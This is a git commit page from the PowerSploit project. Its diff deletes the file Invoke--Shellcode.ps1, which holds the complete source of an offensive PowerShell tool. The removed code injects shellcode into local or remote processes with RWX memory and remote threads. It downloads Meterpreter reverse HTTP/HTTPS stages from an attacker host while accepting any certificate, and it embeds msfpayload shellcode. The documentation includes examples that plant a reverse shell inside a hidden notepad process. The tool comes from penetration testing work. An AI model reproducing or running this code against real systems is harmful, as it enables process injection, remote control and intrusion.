diff options
author | PowerShellMafia <PowerShellMafia@users.noreply.github.com> | 2015-12-18 16:33:59 -0800 |
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committer | PowerShellMafia <PowerShellMafia@users.noreply.github.com> | 2015-12-18 16:33:59 -0800 |
commit | 9e771d15bf19ab3c2ac196393c088ecdab6c9a73 (patch) | |
tree | 58927893ecb9289ad1de64d3a67eb58d00e4b762 /CodeExecution/Invoke--Shellcode.ps1 | |
parent | 9f78286ea7b0ec65d2aa09893a076864dd8d14e9 (diff) | |
parent | 9f183e36518176c4299eed5c68b7deac7f4e8025 (diff) | |
download | PowerSploit-3.0.0.tar.gz PowerSploit-3.0.0.zip |
Merge pull request #102 from PowerShellMafia/devv3.0.0
Merge 3.0 release changes
Diffstat (limited to 'CodeExecution/Invoke--Shellcode.ps1')
-rw-r--r-- | CodeExecution/Invoke--Shellcode.ps1 | 763 |
1 files changed, 0 insertions, 763 deletions
diff --git a/CodeExecution/Invoke--Shellcode.ps1 b/CodeExecution/Invoke--Shellcode.ps1 deleted file mode 100644 index b0ba81c..0000000 --- a/CodeExecution/Invoke--Shellcode.ps1 +++ /dev/null @@ -1,763 +0,0 @@ -function Invoke-Shellcode -{ -<# -.SYNOPSIS - -Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process. - -PowerSploit Function: Invoke-Shellcode -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre - -PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk): - -msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- - -Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary. - -.PARAMETER ProcessID - -Process ID of the process you want to inject shellcode into. - -.PARAMETER Shellcode - -Specifies an optional shellcode passed in as a byte array - -.PARAMETER ListMetasploitPayloads - -Lists all of the available Metasploit payloads that Invoke-Shellcode supports - -.PARAMETER Lhost - -Specifies the IP address of the attack machine waiting to receive the reverse shell - -.PARAMETER Lport - -Specifies the port of the attack machine waiting to receive the reverse shell - -.PARAMETER Payload - -Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported. - -.PARAMETER UserAgent - -Optionally specifies the user agent to use when using meterpreter http or https payloads - -.PARAMETER Proxy - -Optionally specifies whether to utilize the proxy settings on the machine. - -.PARAMETER Legacy - -Optionally specifies whether to utilize the older meterpreter handler "INITM". This will likely be removed in the future. - -.PARAMETER Force - -Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act. - -.EXAMPLE - -C:\PS> Invoke-Shellcode -ProcessId 4274 - -Description ------------ -Inject shellcode into process ID 4274. - -.EXAMPLE - -C:\PS> Invoke-Shellcode - -Description ------------ -Inject shellcode into the running instance of PowerShell. - -.EXAMPLE - -C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden -C:\PS> $Proc = Get-Process notepad -C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose - -VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM -VERBOSE: Injecting shellcode into PID: 4004 -VERBOSE: Injecting into a Wow64 process. -VERBOSE: Using 32-bit shellcode. -VERBOSE: Shellcode memory reserved at 0x03BE0000 -VERBOSE: Emitting 32-bit assembly call stub. -VERBOSE: Thread call stub memory reserved at 0x001B0000 -VERBOSE: Shellcode injection complete! - -Description ------------ -Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up with the following options: - -Payload options (windows/meterpreter/reverse_https): - -Name Current Setting Required Description ----- --------------- -------- ----------- -EXITFUNC thread yes Exit technique: seh, thread, process, none -LHOST 192.168.30.129 yes The local listener hostname -LPORT 443 yes The local listener port - -.EXAMPLE - -C:\PS> Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80 - -Description ------------ -Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up with the following options: - -Payload options (windows/meterpreter/reverse_http): - -Name Current Setting Required Description ----- --------------- -------- ----------- -EXITFUNC thread yes Exit technique: seh, thread, process, none -LHOST 192.168.30.129 yes The local listener hostname -LPORT 80 yes The local listener port - -.EXAMPLE - -C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3) - -Description ------------ -Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET) -Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit! - -.EXAMPLE - -C:\PS> Invoke-Shellcode -ListMetasploitPayloads - -Payloads --------- -windows/meterpreter/reverse_http -windows/meterpreter/reverse_https - -.NOTES - -Use the '-Verbose' option to print detailed information. - -Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter - -Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/ - -.LINK - -http://www.exploit-monday.com -#> - -[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param ( - [ValidateNotNullOrEmpty()] - [UInt16] - $ProcessID, - - [Parameter( ParameterSetName = 'RunLocal' )] - [ValidateNotNullOrEmpty()] - [Byte[]] - $Shellcode, - - [Parameter( ParameterSetName = 'Metasploit' )] - [ValidateSet( 'windows/meterpreter/reverse_http', - 'windows/meterpreter/reverse_https', - IgnoreCase = $True )] - [String] - $Payload = 'windows/meterpreter/reverse_http', - - [Parameter( ParameterSetName = 'ListPayloads' )] - [Switch] - $ListMetasploitPayloads, - - [Parameter( Mandatory = $True, - ParameterSetName = 'Metasploit' )] - [ValidateNotNullOrEmpty()] - [String] - $Lhost = '127.0.0.1', - - [Parameter( Mandatory = $True, - ParameterSetName = 'Metasploit' )] - [ValidateRange( 1,65535 )] - [Int] - $Lport = 8443, - - [Parameter( ParameterSetName = 'Metasploit' )] - [ValidateNotNull()] - [String] - $UserAgent = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').'User Agent', - - [Parameter( ParameterSetName = 'Metasploit' )] - [ValidateNotNull()] - [Switch] - $Legacy = $False, - - [Parameter( ParameterSetName = 'Metasploit' )] - [ValidateNotNull()] - [Switch] - $Proxy = $False, - - [Switch] - $Force = $False -) - - Set-StrictMode -Version 2.0 - - # List all available Metasploit payloads and exit the function - if ($PsCmdlet.ParameterSetName -eq 'ListPayloads') - { - $AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters['Payload'].Attributes | - Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]} - - foreach ($Payload in $AvailablePayloads.ValidValues) - { - New-Object PSObject -Property @{ Payloads = $Payload } - } - - Return - } - - if ( $PSBoundParameters['ProcessID'] ) - { - # Ensure a valid process ID was provided - # This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive - Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null - } - - function Local:Get-DelegateType - { - Param - ( - [OutputType([Type])] - - [Parameter( Position = 0)] - [Type[]] - $Parameters = (New-Object Type[](0)), - - [Parameter( Position = 1 )] - [Type] - $ReturnType = [Void] - ) - - $Domain = [AppDomain]::CurrentDomain - $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) - $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) - $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) - $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') - $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) - $MethodBuilder.SetImplementationFlags('Runtime, Managed') - - Write-Output $TypeBuilder.CreateType() - } - - function Local:Get-ProcAddress - { - Param - ( - [OutputType([IntPtr])] - - [Parameter( Position = 0, Mandatory = $True )] - [String] - $Module, - - [Parameter( Position = 1, Mandatory = $True )] - [String] - $Procedure - ) - - # Get a reference to System.dll in the GAC - $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | - Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } - $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') - # Get a reference to the GetModuleHandle and GetProcAddress methods - $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') - $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') - # Get a handle to the module specified - $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) - $tmpPtr = New-Object IntPtr - $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) - - # Return the address of the function - Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) - } - - # Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload - function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture) - { - $IntSizePtr = $Architecture / 8 - - function Local:ConvertTo-LittleEndian ([IntPtr] $Address) - { - $LittleEndianByteArray = New-Object Byte[](0) - $Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } } - [System.Array]::Reverse($LittleEndianByteArray) - - Write-Output $LittleEndianByteArray - } - - $CallStub = New-Object Byte[](0) - - if ($IntSizePtr -eq 8) - { - [Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode - $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode - $CallStub += 0xFF,0xD0 # CALL RAX - $CallStub += 0x6A,0x00 # PUSH BYTE 0 - $CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread - $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread - $CallStub += 0xFF,0xD0 # CALL RAX - } - else - { - [Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode - $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode - $CallStub += 0xFF,0xD0 # CALL EAX - $CallStub += 0x6A,0x00 # PUSH BYTE 0 - $CallStub += 0xB8 # MOV DWORD EAX, &ExitThread - $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread - $CallStub += 0xFF,0xD0 # CALL EAX - } - - Write-Output $CallStub - } - - function Local:Inject-RemoteShellcode ([Int] $ProcessID) - { - # Open a handle to the process you want to inject into - $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF) - - if (!$hProcess) - { - Throw "Unable to open a process handle for PID: $ProcessID" - } - - $IsWow64 = $false - - if ($64bitCPU) # Only perform theses checks if CPU is 64-bit - { - # Determine is the process specified is 32 or 64 bit - $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null - - if ((!$IsWow64) -and $PowerShell32bit) - { - Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.' - } - elseif ($IsWow64) # 32-bit Wow64 process - { - if ($Shellcode32.Length -eq 0) - { - Throw 'No shellcode was placed in the $Shellcode32 variable!' - } - - $Shellcode = $Shellcode32 - Write-Verbose 'Injecting into a Wow64 process.' - Write-Verbose 'Using 32-bit shellcode.' - } - else # 64-bit process - { - if ($Shellcode64.Length -eq 0) - { - Throw 'No shellcode was placed in the $Shellcode64 variable!' - } - - $Shellcode = $Shellcode64 - Write-Verbose 'Using 64-bit shellcode.' - } - } - else # 32-bit CPU - { - if ($Shellcode32.Length -eq 0) - { - Throw 'No shellcode was placed in the $Shellcode32 variable!' - } - - $Shellcode = $Shellcode32 - Write-Verbose 'Using 32-bit shellcode.' - } - - # Reserve and commit enough memory in remote process to hold the shellcode - $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) - - if (!$RemoteMemAddr) - { - Throw "Unable to allocate shellcode memory in PID: $ProcessID" - } - - Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))" - - # Copy shellcode into the previously allocated memory - $WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null - - # Get address of ExitThread function - $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread - - if ($IsWow64) - { - # Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread. - $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32 - - Write-Verbose 'Emitting 32-bit assembly call stub.' - } - else - { - # Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread. - $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64 - - Write-Verbose 'Emitting 64-bit assembly call stub.' - } - - # Allocate inline assembly stub - $RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX) - - if (!$RemoteStubAddr) - { - Throw "Unable to allocate thread call stub memory in PID: $ProcessID" - } - - Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))" - - # Write 32-bit assembly stub to remote process memory space - $WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null - - # Execute shellcode as a remote thread - $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero) - - if (!$ThreadHandle) - { - Throw "Unable to launch remote thread in PID: $ProcessID" - } - - # Close process handle - $CloseHandle.Invoke($hProcess) | Out-Null - - Write-Verbose 'Shellcode injection complete!' - } - - function Local:Inject-LocalShellcode - { - if ($PowerShell32bit) { - if ($Shellcode32.Length -eq 0) - { - Throw 'No shellcode was placed in the $Shellcode32 variable!' - return - } - - $Shellcode = $Shellcode32 - Write-Verbose 'Using 32-bit shellcode.' - } - else - { - if ($Shellcode64.Length -eq 0) - { - Throw 'No shellcode was placed in the $Shellcode64 variable!' - return - } - - $Shellcode = $Shellcode64 - Write-Verbose 'Using 64-bit shellcode.' - } - - # Allocate RWX memory for the shellcode - $BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) - if (!$BaseAddress) - { - Throw "Unable to allocate shellcode memory in PID: $ProcessID" - } - - Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))" - - # Copy shellcode to RWX buffer - [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length) - - # Get address of ExitThread function - $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread - - if ($PowerShell32bit) - { - $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32 - - Write-Verbose 'Emitting 32-bit assembly call stub.' - } - else - { - $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64 - - Write-Verbose 'Emitting 64-bit assembly call stub.' - } - - # Allocate RWX memory for the thread call stub - $CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) - if (!$CallStubAddress) - { - Throw "Unable to allocate thread call stub." - } - - Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))" - - # Copy call stub to RWX buffer - [System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length) - - # Launch shellcode in it's own thread - $ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero) - if (!$ThreadHandle) - { - Throw "Unable to launch thread." - } - - # Wait for shellcode thread to terminate - $WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null - - $VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) - $VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) - - Write-Verbose 'Shellcode injection complete!' - } - - # A valid pointer to IsWow64Process will be returned if CPU is 64-bit - $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process - if ($IsWow64ProcessAddr) - { - $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) - $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) - - $64bitCPU = $true - } - else - { - $64bitCPU = $false - } - - if ([IntPtr]::Size -eq 4) - { - $PowerShell32bit = $true - } - else - { - $PowerShell32bit = $false - } - - if ($PsCmdlet.ParameterSetName -eq 'Metasploit') - { - if (!$PowerShell32bit) { - # The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell - # Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function - - # Pull out just the content of the this script's invocation. - $RootInvocation = $MyInvocation.Line - - $Response = $True - - if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?", - "Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { } - - if ( !$Response ) - { - # User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit function - Return - } - - # Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt. - if ($MyInvocation.BoundParameters['Force']) - { - Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation" - $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n" - } - else - { - Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force" - $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n" - } - - $CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command) - $EncodedCommand = [Convert]::ToBase64String($CommandBytes) - - $Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -" - Invoke-Expression -Command $Execute | Out-Null - - # Exit the script since the shellcode will be running from x86 PowerShell - Return - } - - $Response = $True - - if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?", - "About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { } - - if ( !$Response ) - { - # User opted not to carry out download of Metasploit payload. Exit function - Return - } - - switch ($Payload) - { - 'windows/meterpreter/reverse_http' - { - $SSL = '' - } - - 'windows/meterpreter/reverse_https' - { - $SSL = 's' - # Accept invalid certificates - [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$True} - } - } - - if ($Legacy) - { - # Old Meterpreter handler expects 'INITM' in the URI in order to initiate stage 0 - $Request = "http$($SSL)://$($Lhost):$($Lport)/INITM" - Write-Verbose "Requesting meterpreter payload from $Request" - } else { - - # Generate a URI that passes the test - $CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {[Char]$_} - $SumTest = $False - - while ($SumTest -eq $False) - { - $GeneratedUri = $CharArray | Get-Random -Count 4 - $SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92) - } - - $RequestUri = -join $GeneratedUri - - $Request = "http$($SSL)://$($Lhost):$($Lport)/$($RequestUri)" - } - - $Uri = New-Object Uri($Request) - $WebClient = New-Object System.Net.WebClient - $WebClient.Headers.Add('user-agent', "$UserAgent") - - if ($Proxy) - { - $WebProxyObject = New-Object System.Net.WebProxy - $ProxyAddress = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').ProxyServer - - # if there is no proxy set, then continue without it - if ($ProxyAddress) - { - - $WebProxyObject.Address = $ProxyAddress - $WebProxyObject.UseDefaultCredentials = $True - $WebClientObject.Proxy = $WebProxyObject - } - } - - try - { - [Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri) - } - catch - { - Throw "$($Error[0].Exception.InnerException.InnerException.Message)" - } - [Byte[]] $Shellcode64 = $Shellcode32 - - } - elseif ($PSBoundParameters['Shellcode']) - { - # Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets - # the correct architechture - x86 vs. x64. This script has no way to validate what you provide it. - [Byte[]] $Shellcode32 = $Shellcode - [Byte[]] $Shellcode64 = $Shellcode32 - } - else - { - # Pop a calc... or whatever shellcode you decide to place in here - # I sincerely hope you trust that this shellcode actually pops a calc... - # Insert your shellcode here in the for 0xXX,0xXX,... - # 32-bit payload - # msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread - [Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b, - 0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0, - 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57, - 0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01, - 0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b, - 0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4, - 0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, - 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24, - 0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d, - 0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5, - 0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a, - 0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63, - 0x61,0x6c,0x63,0x00) - - # 64-bit payload - # msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread - [Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, - 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52, - 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, - 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed, - 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88, - 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44, - 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48, - 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1, - 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44, - 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49, - 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a, - 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, - 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00, - 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b, - 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, - 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47, - 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00) - } - - if ( $PSBoundParameters['ProcessID'] ) - { - # Inject shellcode into the specified process ID - $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess - $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) - $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) - $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx - $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr]) - $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) - $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory - $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool]) - $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) - $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread - $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) - $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) - $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle - $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) - $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) - - Write-Verbose "Injecting shellcode into PID: $ProcessId" - - if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', - "Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) ) - { - Inject-RemoteShellcode $ProcessId - } - } - else - { - # Inject shellcode into the currently running PowerShell process - $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc - $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]) - $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) - $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree - $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool]) - $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) - $CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread - $CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) - $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) - $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject - $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int]) - $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) - - Write-Verbose "Injecting shellcode into PowerShell" - - if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', - "Injecting shellcode into the running PowerShell process!" ) ) - { - Inject-LocalShellcode - } - } -} |